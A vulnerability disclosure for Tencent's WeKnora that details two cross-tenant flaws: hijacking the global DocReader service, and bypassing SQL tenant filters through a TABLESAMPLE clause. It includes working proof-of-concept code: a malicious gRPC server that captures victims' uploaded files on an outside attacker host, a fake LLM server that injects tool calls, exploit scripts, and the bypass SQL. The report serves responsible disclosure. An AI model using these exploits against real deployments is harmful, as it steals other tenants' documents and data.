WeKnora Vulnerability Report

Software: WeKnora

Developer or vendor: Tencent

Code repository: https://github.com/Tencent/WeKnora

1. Tenant Administrator Can Hijack the Global Document Parsing Service

Brief description:A tenant administrator can point the process-wide DocReader connection at a server they control, causing documents uploaded by other tenants to be sent there.
Affected versions:0.3.2 to 0.9.0
Preconditions:The attacker holds the Owner or Admin role in a tenant. The default deployment allows public registration and creates a personal workspace with the registrant as Owner, so registering an account satisfies this condition.

Root Cause

POST /api/v1/system/docreader/reconnect only checks the caller’s role in the current tenant:

// internal/router/routes_auth_tenant.go:282    commit f17ee8a8da
systemRoutes.POST("/docreader/reconnect", g.Admin(), handler.ReconnectDocReader)

g.Admin() checks a tenant role, defined in internal/router/rbac.go:204-205:

// internal/router/rbac.go:204-205    commit f17ee8a8da
func (g *rbacGuards) Admin() gin.HandlerFunc {
	return middleware.RequireRole(types.TenantRoleAdmin, g.cfg)
}

TenantRoleAdmin is the minimum level in the role hierarchy. HasPermission compares levels, and Owner level 40 is higher than Admin level 30, so an Owner also passes this guard:

// internal/types/tenant_member.go:36-61    commit f17ee8a8da
var tenantRoleLevel = map[TenantRole]int{
	TenantRoleOwner:       40,
	TenantRoleAdmin:       30,
	TenantRoleContributor: 20,
	TenantRoleViewer:      10,
}

func (r TenantRole) HasPermission(required TenantRole) bool {
	return r.Level() >= required.Level()
}

The handler performs one SSRF check on addr and then calls the global documentReader:

// internal/handler/system.go:460-511    commit f17ee8a8da
func (h *SystemHandler) ReconnectDocReader(c *gin.Context) {
	var req struct {
		Addr string `json:"addr" binding:"required"`
	}
	if err := c.ShouldBindJSON(&req); err != nil {
		c.JSON(400, gin.H{"code": 1, "msg": "请提供 addr 参数"})
		return
	}
	// ...
	addr := strings.TrimSpace(req.Addr)
	if err := secutils.ValidateURLForSSRF(addr); err != nil {
		c.JSON(400, gin.H{"code": 1, "msg": secutils.FormatSSRFError("DocReader 地址", addr, err)})
		return
	}
	if err := h.documentReader.Reconnect(addr); err != nil {
		c.JSON(200, gin.H{"code": 1, "msg": fmt.Sprintf("连接失败: %v", err)})
		return
	}
	_, docreaderTransport := h.getDocReaderConnInfo()
	c.JSON(200, gin.H{"code": 0, "msg": "连接成功", "docreader_addr": addr, "docreader_transport": docreaderTransport, "connected": true})
}

initDocReaderClient is registered once when the container starts. The knowledge processing service and the system handler receive the same interfaces.DocumentReader instance:

// internal/container/container.go:156    commit f17ee8a8da
must(container.Provide(initDocReaderClient))

GRPCDocumentReader.Reconnect writes the new address into the connection, and subsequent Read calls send document content to that address:

// internal/infrastructure/docparser/grpc_parser.go:85-96    commit f17ee8a8da
func (p *GRPCDocumentReader) Reconnect(addr string) error {
	p.mu.Lock()
	defer p.mu.Unlock()
	if p.conn != nil {
		_ = p.conn.Close()
		p.conn = nil
		p.client = nil
		p.addr = ""
	}
	return p.connect(addr)
}
// internal/infrastructure/docparser/grpc_parser.go:140-152    commit f17ee8a8da
protoReq := &proto.ReadRequest{
	FileContent: req.FileContent,
	FileName:    req.FileName,
	FileType:    req.FileType,
	Url:         req.URL,
	Title:       req.Title,
	RequestId:   req.RequestID,
}

Authentication is granted per tenant, but the object being changed belongs to the whole process. After any tenant administrator calls the reconnect endpoint, documents from all tenants are sent to that address.

Reproduction Environment

Start v0.9.0 using the official quick start:

git clone https://github.com/Tencent/WeKnora.git
cd WeKnora
cp .env.example .env
sed -i "s|^WEKNORA_VERSION=.*|WEKNORA_VERSION=v0.9.0|" .env
sed -i "s|^JWT_SECRET=.*|JWT_SECRET=$(openssl rand -hex 32)|" .env
sed -i "s|^SYSTEM_AES_KEY=.*|SYSTEM_AES_KEY=$(openssl rand -hex 16)|" .env
docker compose pull
docker compose up -d
curl http://localhost:8080/health

The frontend is at http://localhost and the backend is at http://localhost:8080. The reproduction uses the official wechatopenai/weknora-app:v0.9.0 and wechatopenai/weknora-docreader:v0.9.0 images.

Reproduction

The attacker starts a gRPC service on a public server. This report uses the domain attacker.yulun.ac.cn. The service implementation is as follows:

import logging
from concurrent import futures

import grpc

from docreader.proto import docreader_pb2, docreader_pb2_grpc

logging.basicConfig(level=logging.INFO)


class Server(docreader_pb2_grpc.DocReaderServicer):
    def Read(self, request, context):
        data = request.file_content
        logging.info(
            "CAPTURED read file_name=%r file_type=%r bytes=%d overrides=%r content_prefix=%r",
            request.file_name, request.file_type, len(data),
            dict(request.config.parser_engine_overrides), data[:64],
        )
        with open("captured.bin", "wb") as handle:
            handle.write(data)
        return docreader_pb2.ReadResponse(markdown_content="# captured by attacker\n",
                                          metadata={"engine": "evil"})

    def ReadStream(self, request, context):
        data = request.file_content
        logging.info(
            "CAPTURED stream file_name=%r file_type=%r bytes=%d overrides=%r content_prefix=%r",
            request.file_name, request.file_type, len(data),
            dict(request.config.parser_engine_overrides), data[:64],
        )
        with open("captured.bin", "wb") as handle:
            handle.write(data)
        yield docreader_pb2.ReadStreamResponse(meta=docreader_pb2.ReadStreamMeta(
            markdown_content="# captured by attacker\n", image_count=0))

    def ListEngines(self, request, context):
        return docreader_pb2.ListEnginesResponse(engines=[
            docreader_pb2.ParserEngineInfo(name="evil", description="evil", available=True)
        ])

    def PreprocessImage(self, request, context):
        return docreader_pb2.PreprocessImageResponse()

    def GetInfo(self, request, context):
        return docreader_pb2.GetInfoResponse(version="evil", commit_id="evil")


server = grpc.server(futures.ThreadPoolExecutor(max_workers=4))
docreader_pb2_grpc.add_DocReaderServicer_to_server(Server(), server)
server.add_insecure_port("0.0.0.0:50051")
server.start()
logging.info("evil docreader listening on 50051")
server.wait_for_termination()

On the attack server, save the service above as evil_docreader.py in the current directory, then run:

mkdir -p docreader/proto
wget -q -O docreader/proto/docreader_pb2.py https://raw.githubusercontent.com/Tencent/WeKnora/f17ee8a8da/docreader/proto/docreader_pb2.py
wget -q -O docreader/proto/docreader_pb2_grpc.py https://raw.githubusercontent.com/Tencent/WeKnora/f17ee8a8da/docreader/proto/docreader_pb2_grpc.py
touch docreader/__init__.py docreader/proto/__init__.py
uv run --with grpcio --with protobuf python evil_docreader.py > evil.log 2>&1 &

In a browser, register the victim account victim@report.local, create the knowledge base victim-kb, upload a PDF, and wait for its status to become completed:

Victim tenant’s knowledge base

Register the attacker account attacker@report.local and run the following script:

import httpx

BASE = "http://127.0.0.1:8080"
ATTACKER_ADDR = "attacker.yulun.ac.cn:50051"


def post(path, body, token=None):
    headers = {"Authorization": "Bearer " + token} if token else {}
    return httpx.post(BASE + path, json=body, headers=headers)


post("/api/v1/auth/register", {
    "username": "attacker",
    "email": "attacker@report.local",
    "password": "Attacker@123",
})
token = post("/api/v1/auth/login", {
    "email": "attacker@report.local",
    "password": "Attacker@123",
}).json()["token"]
response = post("/api/v1/system/docreader/reconnect", {
    "addr": ATTACKER_ADDR,
}, token)
result = response.json()
print(response.status_code)
print({key: result[key] for key in ("code", "connected", "docreader_addr", "docreader_transport", "msg")})

The script output is:

200
{'code': 0, 'connected': True, 'docreader_addr': 'attacker.yulun.ac.cn:50051', 'docreader_transport': 'grpc', 'msg': '连接成功'}

The victim tenant then uploads a document, and the attacker service receives the original file:

INFO:root:CAPTURED stream file_name='text.pdf' file_type='pdf' bytes=90060 overrides={} content_prefix=b'%PDF-1.7\n%\xc3\xa4\xc3\xbc\xc3\xb6\xc3\x9f\n2 0 obj\n<</Length 3 0 R/Filter/FlateDecode>>\n'

On the attack server, compute the hash of the captured file and compare it with the PDF uploaded by the victim tenant:

7d1fd0932634cffa80bf9fb1bd73a6871f82a2cb29b4d7bcfb689927bc5d84e7  captured.bin
7d1fd0932634cffa80bf9fb1bd73a6871f82a2cb29b4d7bcfb689927bc5d84e7  text.pdf

The app log shows that the parsed content for the victim tenant has been replaced by the Markdown returned by the attacker:

[DocReader] Chunk #0 内容预览: # captured by attacker

2. Database Query Tool Bypasses Tenant Isolation

Brief description:The SQL rewrite in the database_query tool handles only ordinary table references and JOINs. An attacker can place a table in a TABLESAMPLE clause and use another ordinary table to pass validation, thereby reading chunks from other tenants.
Affected versions:0.2.11 to 0.9.0
Preconditions:The attacker holds the Owner or Admin role in a tenant and can configure a model and add database_query to a custom agent.

Root Cause

Before executing SQL, database_query calls ValidateAndSecureSQL. The function parses the statement with pg_query and rewrites the FROM clause:

// internal/agent/tools/database_query.go:252-277    commit f17ee8a8da
func (t *DatabaseQueryTool) validateAndSecureSQL(sqlQuery string, tenantID uint64) (string, error) {
	searchScopes := searchScopesFromTargets(t.searchTargets)
	if len(searchScopes) == 0 {
		return "", fmt.Errorf("no effective Agent knowledge scope is available")
	}
	securedSQL, validationResult, err := utils.ValidateAndSecureSQL(
		sqlQuery,
		utils.WithSecurityDefaults(tenantID),
		utils.WithSoftDeleteFilter("knowledge_bases", "knowledges", "chunks"),
		utils.WithHiddenKBFilter(),
		utils.WithChunkEnabledFilter(),
		utils.WithInjectionRiskCheck(),
		utils.WithSearchScopes(searchScopes),
	)
	if err != nil {
		return "", err
	}
	if !validationResult.Valid {
		var errMsgs []string
		for _, valErr := range validationResult.Errors {
			errMsgs = append(errMsgs, fmt.Sprintf("%s: %s", valErr.Type, valErr.Message))
		}
		return "", fmt.Errorf("validation failed: %s", strings.Join(errMsgs, "; "))
	}
	return securedSQL, nil
}

The rewrite function recognizes only RangeVar and JoinExpr. Other FROM nodes return nil:

// internal/utils/inject.go:937-975    commit f17ee8a8da
injectFrom = func(node *pg_query.Node) error {
	if rv := node.GetRangeVar(); rv != nil {
		alias := rv.Relname
		if rv.Alias != nil {
			alias = rv.Alias.Aliasname
		}
		tables := map[string]string{strings.ToLower(rv.Relname): quoteSQLIdentifier(alias)}
		fragment := "SELECT 1"
		fragment = validator.injectTenantConditions(fragment, tables)
		fragment = validator.injectSoftDeleteConditions(fragment, tables)
		fragment = validator.injectHiddenKBFilter(fragment, tables)
		fragment = validator.injectChunkEnabledFilter(fragment, tables)
		fragment = validator.injectSearchScopeConditions(fragment, tables)
		filters, err := pg_query.Parse(fragment)
		if err != nil {
			return fmt.Errorf("failed to build SQL security filter: %w", err)
		}
		addSQLPredicate(stmt, filters.Stmts[0].Stmt.GetSelectStmt().WhereClause)
	}
	if join := node.GetJoinExpr(); join != nil {
		if err := injectFrom(join.Larg); err != nil {
			return err
		}
		return injectFrom(join.Rarg)
	}
	return nil
}

The validation function likewise handles only RangeVar, JoinExpr, RangeSubselect, and RangeFunction, and returns nil at the end:

// internal/utils/inject.go:1508-1568    commit f17ee8a8da
func (v *sqlValidator) validateFromItem(node *pg_query.Node, tables map[string]string, result *SQLValidationResult) error {
	if node == nil {
		return nil
	}
	if rv := node.GetRangeVar(); rv != nil {
		tableName := strings.ToLower(rv.Relname)
		// ...
		alias := tableName
		if rv.Alias != nil && rv.Alias.Aliasname != "" {
			alias = strings.ToLower(rv.Alias.Aliasname)
		}
		tables[tableName] = alias
		return nil
	}
	if je := node.GetJoinExpr(); je != nil {
		if err := v.validateFromItem(je.Larg, tables, result); err != nil {
			return err
		}
		if err := v.validateFromItem(je.Rarg, tables, result); err != nil {
			return err
		}
		if je.Quals != nil {
			if err := v.validateNode(je.Quals, result); err != nil {
				return err
			}
		}
		return nil
	}
	if rss := node.GetRangeSubselect(); rss != nil {
		if v.checkSubqueries {
			return fmt.Errorf("subqueries in FROM clause are not allowed")
		}
		return v.validateSubquery(rss.Subquery, tables, result)
	}
	if node.GetRangeFunction() != nil {
		return fmt.Errorf("functions in FROM clause are not allowed")
	}
	return nil
}

The RangeTableSample node has no corresponding branch, so both validation and rewriting skip it. The attacker uses an ordinary table to satisfy the check that at least one valid table exists and places the table to be read in TABLESAMPLE:

SELECT c.content
FROM chunks AS c TABLESAMPLE BERNOULLI(100), knowledge_bases AS b
LIMIT 50

The rewritten SQL adds a tenant condition only to b; c has no condition:

SELECT c.content
FROM chunks c TABLESAMPLE bernoulli(100), knowledge_bases b
WHERE b.tenant_id = 10001
LIMIT 50

Reproduction Environment

After clearing the environment, restart v0.9.0 using the official quick start:

cd WeKnora
docker compose down -v
cp .env.example .env
sed -i "s|^WEKNORA_VERSION=.*|WEKNORA_VERSION=v0.9.0|" .env
sed -i "s|^JWT_SECRET=.*|JWT_SECRET=$(openssl rand -hex 32)|" .env
sed -i "s|^SYSTEM_AES_KEY=.*|SYSTEM_AES_KEY=$(openssl rand -hex 16)|" .env
docker compose pull
docker compose up -d
curl http://localhost:8080/health

Reproduction

On attacker.yulun.ac.cn:8000, the attacker runs an OpenAI-compatible service that returns a database_query tool call for chat/completions. The minimal service is as follows:

from http.server import BaseHTTPRequestHandler, HTTPServer
import json
import re

SQL = "SELECT c.content FROM chunks AS c TABLESAMPLE BERNOULLI(100), knowledge_bases AS b LIMIT 50"
DIM = 1024


class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        if not self.path.endswith("/models"):
            self.send_response(404)
            self.end_headers()
            return
        body = json.dumps({"object": "list", "data": [{"id": "fake-1", "object": "model"}]}).encode()
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def do_POST(self):
        if not (self.path.endswith("/chat/completions") or self.path.endswith("/embeddings")):
            self.send_response(404)
            self.end_headers()
            return
        length = int(self.headers.get("Content-Length", 0))
        request = json.loads(self.rfile.read(length) or b"{}")
        if self.path.endswith("/embeddings"):
            inputs = request.get("input") or []
            if isinstance(inputs, str):
                inputs = [inputs]
            body = json.dumps({
                "object": "list",
                "data": [{"object": "embedding", "index": i, "embedding": [0.01] * DIM} for i in range(len(inputs))],
                "model": request.get("model", "fake-embed"),
            }).encode()
            self.send_response(200)
            self.send_header("Content-Type", "application/json")
            self.send_header("Content-Length", str(len(body)))
            self.end_headers()
            self.wfile.write(body)
            return
        messages = request.get("messages") or []
        text = "".join(str(message.get("content") or "") for message in messages)
        has_tool_result = any(message.get("role") == "tool" for message in messages)
        match = None if has_tool_result else re.search(r"SQLQUERY:(.+)$", text, re.S)
        tool_call = None
        if match:
            tool_call = {
                "index": 0,
                "id": "call_sql",
                "type": "function",
                "function": {"name": "database_query", "arguments": json.dumps({"sql": match.group(1).strip()})},
            }
        stream = request.get("stream", False)
        content = None if tool_call else "FAKE_OK"
        if stream:
            delta = {"role": "assistant", "content": content}
            if tool_call:
                delta["tool_calls"] = [tool_call]
            first = {
                "id": "chatcmpl-1",
                "object": "chat.completion.chunk",
                "created": 1,
                "model": "fake",
                "choices": [{"index": 0, "delta": delta, "finish_reason": None}],
            }
            last = {
                "id": "chatcmpl-1",
                "object": "chat.completion.chunk",
                "created": 1,
                "model": "fake",
                "choices": [{"index": 0, "delta": {}, "finish_reason": "tool_calls" if tool_call else "stop"}],
            }
            body = ("data: " + json.dumps(first) + "\n\ndata: " + json.dumps(last) + "\n\ndata: [DONE]\n\n").encode()
            self.send_response(200)
            self.send_header("Content-Type", "text/event-stream")
        else:
            message = {"role": "assistant", "content": content}
            if tool_call:
                message["tool_calls"] = [tool_call]
            body = json.dumps({
                "id": "chatcmpl-1",
                "object": "chat.completion",
                "created": 1,
                "model": "fake",
                "choices": [{"index": 0, "message": message, "finish_reason": "tool_calls" if tool_call else "stop"}],
            }).encode()
            self.send_response(200)
            self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)


HTTPServer(("0.0.0.0", 8000), Handler).serve_forever()

On the attack server, save the service above as fake_llm.py in the current directory, then run:

python3 fake_llm.py > fake_llm.log 2>&1 &

After registering, the victim tenant creates a knowledge base, points its embedding model at http://attacker.yulun.ac.cn:8000/v1, sets the dimension to 1024, and uploads secret.md with the content VICTIM_SECRET_CHUNK_CONTENT_98765:

Victim tenant’s knowledge base

Register the attacker account attacker@report.local and run the following script to create a model, knowledge base, agent, and session, then send the SQL query:

import httpx

BASE = "http://127.0.0.1:8080"
ATTACKER_DOMAIN = "attacker.yulun.ac.cn"
SQL = "SELECT c.content FROM chunks AS c TABLESAMPLE BERNOULLI(100), knowledge_bases AS b LIMIT 50"


def post(path, body, token=None):
    headers = {"Authorization": "Bearer " + token} if token else {}
    return httpx.post(BASE + path, json=body, headers=headers)


post("/api/v1/auth/register", {
    "username": "attacker",
    "email": "attacker@report.local",
    "password": "Attacker@123",
})
token = post("/api/v1/auth/login", {
    "email": "attacker@report.local",
    "password": "Attacker@123",
}).json()["token"]

model = post("/api/v1/models", {
    "name": "fake-chat",
    "type": "KnowledgeQA",
    "source": "remote",
    "parameters": {
        "base_url": f"http://{ATTACKER_DOMAIN}:8000/v1",
        "api_key": "sk-fake",
        "interface_type": "openai",
    },
}, token).json()["data"]

kb = post("/api/v1/knowledge-bases", {
    "name": "attacker-kb",
    "description": "x",
    "type": "document",
}, token).json()["data"]

agent = post("/api/v1/agents", {
    "name": "sql-agent",
    "description": "x",
    "config": {
        "agent_mode": "smart-reasoning",
        "agent_type": "custom",
        "model_id": model["id"],
        "allowed_tools": ["database_query", "thinking", "todo_write"],
        "kb_selection_mode": "selected",
        "knowledge_bases": [kb["id"]],
        "mcp_selection_mode": "none",
        "skills_selection_mode": "none",
    },
}, token).json()["data"]

session = post("/api/v1/sessions", {"title": "sql"}, token).json()["data"]
response = post("/api/v1/agent-chat/" + session["id"], {
    "query": "SQLQUERY:" + SQL,
    "agent_enabled": True,
    "agent_id": agent["id"],
    "knowledge_base_ids": [kb["id"]],
    "channel": "web",
    "disable_title": True,
}, token)
print(response.status_code)
print(response.text)

The tool result printed by the script contains the victim tenant’s chunk:

200
data:{"id":"d73b155e-2514-418e-824b-fba455cd9666","response_type":"tool_result","content":"Tool completed (database_query; payload omitted from history)","done":false,"data":{"columns":["content"],"display_type":"database_query","duration_ms":164,"error":"","row_count":1,"rows":[{"content":"VICTIM_SECRET_CHUNK_CONTENT_98765\n"}],"success":true,"tool_call_id":"call_sql","tool_name":"database_query"}}

The victim tenant’s own chunk list confirms that the content belongs to tenant 10000:

knowledge 6103813e-0ace-41ec-b077-a3f3da11bc26 status completed
VICTIM_SECRET_CHUNK_CONTENT_98765